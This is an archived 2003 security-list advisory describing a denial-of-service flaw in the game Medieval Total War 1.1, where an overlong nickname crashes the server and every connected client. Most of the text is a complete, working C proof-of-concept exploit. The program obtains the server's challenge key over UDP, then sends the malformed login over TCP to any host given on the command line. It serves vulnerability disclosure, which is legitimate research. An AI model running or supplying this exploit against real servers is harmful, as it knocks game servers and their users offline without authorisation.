[NT] Medieval Total War DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 10/08/03

  • Next message: SecuriTeam: "[NEWS] Adobe SVG Viewer Local and Remote File Reading"
    To: list@securiteam.com
    Date: 8 Oct 2003 12:33:29 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Medieval Total War DoS
    ------------------------------------------------------------------------

    SUMMARY

    Medieval Total War is "a real-time strategy game available on PC and is
    developed by Creative Assembly". A vulnerability in the game allows remote
    attackers to cause the server to crash (and all the clients connected to
    it) by connecting to the server using an arbitrary long nickname.

    DETAILS

    Vulnerable systems:
     * Medieval Total War version 1.1 and prior

    The MTW's players have access to the server only in a specific moment and
    not during the execution of the game. This moment is the Lobby screen
    before the starting of the match where all the players can join.

    The bug is in the management of the nicknames sent by the clients. In
    fact, a nickname longer than 76 Unicode chars causes the immediate crash
    of the server and of all the connected clients.

    The problem seems to be in the access to un-reachable memory, and the
    following is the instruction where happens the crash (using 76 chars):
    :0x6b96f8 mov eax,DWORD PTR [edx]

    Both EAX and EDX are equal to 0.

    Longer nicknames cause exceptions in other instructions but the problem is
    ever the access to un-reachable memory.

    In Luigi's tests, it does not seem possible to execute code because the
    registers that are overwritten by the data are not important to change the
    execution flow.

    Vendor status:
    No fix. Creative Assembly has been contacted several months ago but they
    don't have at the moment the resources to patch this bugs.

    Exploit:
    Luigi has written a simple proof-of-concept that also lets you to specify
    the amount of Unicode chars to use in the nickname field. Use a number
    major or equal than 76:

    mtwdos-server.c:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN
      #include <winsock.h>
      #include "winerr.h"

      #define close closesocket
    #else
      #include <unistd.h>
      #include <sys/socket.h>
      #include <sys/types.h>
      #include <arpa/inet.h>
      #include <netdb.h>
    #endif

    #define VER "0.1"
    #define PORT 18321
    #define BUFFSZ 1024
    #define TIMEOUT 5
    #define S1 "\x00\x00\x81\x00\x00\x00\x00"

    void unicode_memset(u_char *to, u_char chr, u_long len);
    void show_word(u_char *buff, int num);
    void timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
      u_char *buffsend,
          *buffrecv;
      struct sockaddr_in peer;
      int sd,
          err,
          plen,
          blen;
      u_long key;
      u_short port = PORT;

      setbuf(stdout, NULL);

      fputs("\n"
        "Medieval Total War <= 1.1 broadcast kick and crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n\n"
        "All the clients connected to the server and the same server in the
    Lobby\n"
        "screen will be kicked or crashed immediately\n"
        "\n", stdout);

      if(argc < 3) {
        printf("\nUsage: %s <num_of_chars*> <host> [port(%d)]\n"
          "\n"
          "* Number of Unicode chars in the nickname:\n"
          "0 = \"Connection expired\" denial of service\n"
          "76 = crash. You can also use bigger amout of chars to test other
    exceptions\n"
          " (FYI each unicode char is 2 bytes long)\n"
          "\n", argv[0], PORT);
        exit(1);
      }

    #ifdef WIN
      WSADATA wsadata;
      WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

      if(argc > 3) port = atoi(argv[3]);

      peer.sin_addr.s_addr = resolv(argv[2]);
      peer.sin_port = htons(port);
      peer.sin_family = AF_INET;
      plen = sizeof(peer);

      buffrecv = malloc(BUFFSZ + 1);
      if(!buffrecv) std_err();
        /* UDP */

      sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      if(sd < 0) std_err();

      fputs("Getting the challenge key of the remote server...\n\n", stdout);

      err = sendto(sd, "\x48\x00\xff\xff\xff", 5, 0, (struct sockaddr *)&peer,
    plen);
      if(err < 0) std_err();

      while(1) {
        timeout(sd);
        err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
    &plen);
        if(err < 0) std_err();

        if(*buffrecv == 0x49) {
          show_word(buffrecv + 0x29, 4);
          key = *(u_long *)(buffrecv + 5);
          printf("Challenge key: %lu\n", key);
          break;
        } else {
          show_word(buffrecv + 1, 1);
        }
      }

      close(sd);
        /* buffer */

      err = atoi(argv[1]) << 1;
      blen = 7 + err + 10;
      buffsend = malloc(blen);
      if(!buffsend) std_err();
      memcpy(buffsend, S1, 7);
      memcpy(buffsend + 3, &key, 4);
      unicode_memset(buffsend + 7, 'a', err >> 1);
      memset(buffsend + 7 + err, 0x00, 10);

        /* TCP */

      sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if(sd < 0) std_err();
      err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
      if(err < 0) std_err();
      err = send(sd, buffsend, blen, 0);
      if(err < 0) std_err();

      timeout(sd);
      err = recv(sd, buffrecv, BUFFSZ, 0);
      if(err < 0) std_err();

      close(sd);

      if(*buffrecv == 0x02) {
        fputs("\nRemote server is full or the game is already started, so you
    cannot exploit it!\n", stdout);
      } else {
        fputs("\nMalicious login informations successfully sent\n\n", stdout);
      }

      return(0);
    }

    void unicode_memset(u_char *to, u_char chr, u_long len) {
      for(; len > 0; len--) {
        *to++ = 0x00;
        *to++ = chr;
      }
    }

        /* too lame, but this is only a proof-of-concept */
    void show_word(u_char *buff, int num) {
      int i;

      if(*buff) buff++; // too lame
      buff++; // skip the first zero
      for(i = 0; i < num; i++) {
        switch(i) {
          case 0: {
            if(num == 1) fputs("Admin name: ", stdout);
              else fputs("Map name: ", stdout);
            } break;
          case 1: fputs("Server name: ", stdout); break;
          case 2: fputs("Password: ", stdout); break;
          case 3: fputs("Campaign: ", stdout); break;
          default: fputs("Info: ", stdout); break;
        }
        while(*buff) {
          fputc(*buff, stdout);
          buff += 2;
        }
        fputc('\n', stdout);
        buff += 2;
      }
    }

    void timeout(int sock) {
      struct timeval timeout;
      fd_set fd_read;
      int err;

      timeout.tv_sec = TIMEOUT;
      timeout.tv_usec = 0;

      FD_ZERO(&fd_read);
      FD_SET(sock, &fd_read);
      err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
      if(err < 0) std_err();
      if(err == 0) {
        printf("\nError: Socket timeout, no answers received\n");
        exit(1);
      }
    }

    u_long resolv(char *host) {
      struct hostent *hp;
      u_long host_ip;

      host_ip = inet_addr(host);
      if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
          printf("\nError: Unable to resolv hostname (%s)\n",
            host);
          exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
      }

      return(host_ip);
    }

    #ifndef WIN
      void std_err(void) {
        perror("\nError");
        exit(1);
      }
    #endif

    winerr.h:
    /*
      Header file used for manage errors in Windows
      It support socket and errno too
      (this header replace the previous sock_errX.h)
    */

    #include <string.h>
    #include <errno.h>

    void std_err(void) {
     char *error;

     switch(WSAGetLastError()) {
      case 10004: error = "Interrupted system call"; break;
      case 10009: error = "Bad file number"; break;
      case 10013: error = "Permission denied"; break;
      case 10014: error = "Bad address"; break;
      case 10022: error = "Invalid argument (not bind)"; break;
      case 10024: error = "Too many open files"; break;
      case 10035: error = "Operation would block"; break;
      case 10036: error = "Operation now in progress"; break;
      case 10037: error = "Operation already in progress"; break;
      case 10038: error = "Socket operation on non-socket"; break;
      case 10039: error = "Destination address required"; break;
      case 10040: error = "Message too long"; break;
      case 10041: error = "Protocol wrong type for socket"; break;
      case 10042: error = "Bad protocol option"; break;
      case 10043: error = "Protocol not supported"; break;
      case 10044: error = "Socket type not supported"; break;
      case 10045: error = "Operation not supported on socket"; break;
      case 10046: error = "Protocol family not supported"; break;
      case 10047: error = "Address family not supported by protocol family";
    break;
      case 10048: error = "Address already in use"; break;
      case 10049: error = "Can't assign requested address"; break;
      case 10050: error = "Network is down"; break;
      case 10051: error = "Network is unreachable"; break;
      case 10052: error = "Net dropped connection or reset"; break;
      case 10053: error = "Software caused connection abort"; break;
      case 10054: error = "Connection reset by peer"; break;
      case 10055: error = "No buffer space available"; break;
      case 10056: error = "Socket is already connected"; break;
      case 10057: error = "Socket is not connected"; break;
      case 10058: error = "Can't send after socket shutdown"; break;
      case 10059: error = "Too many references, can't splice"; break;
      case 10060: error = "Connection timed out"; break;
      case 10061: error = "Connection refused"; break;
      case 10062: error = "Too many levels of symbolic links"; break;
      case 10063: error = "File name too long"; break;
      case 10064: error = "Host is down"; break;
      case 10065: error = "No Route to Host"; break;
      case 10066: error = "Directory not empty"; break;
      case 10067: error = "Too many processes"; break;
      case 10068: error = "Too many users"; break;
      case 10069: error = "Disc Quota Exceeded"; break;
      case 10070: error = "Stale NFS file handle"; break;
      case 10091: error = "Network SubSystem is unavailable"; break;
      case 10092: error = "WINSOCK DLL Version out of range"; break;
      case 10093: error = "Successful WSASTARTUP not yet performed"; break;
      case 10071: error = "Too many levels of remote in path"; break;
      case 11001: error = "Host not found"; break;
      case 11002: error = "Non-Authoritative Host not found"; break;
      case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP";
    break;
      case 11004: error = "Valid name, no data record of requested type";
    break;
      default: error = strerror(errno); break;
     }
     fprintf(stderr, "\nError: %s\n", error);
     exit(1);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Adobe SVG Viewer Local and Remote File Reading"

    Relevant Pages

    • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
      (Securiteam)
    • [UNIX] Multiple up-imapproxy DoS Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections open after client has logged out, ... allows attacker to cause the server to crash by sending them when they ... extern void HandleRequest(int); ...
      (Securiteam)
    • [NT] Stronghold DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
      (Securiteam)
    • lbreakout2server[v2-2.5+]: remote format string exploit.
      ... function to find the pop/memory location on the server. ... sending format string, new .dtors. ... char *getfmt(int,int,unsigned int); ... void getpops; ...
      (Bugtraq)
    • [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... * Ipswitch IMail Server 8.2 Hotfix 2 ... char* alphaEncodeShellcode(char *shellcode, int size); ...
      (Securiteam)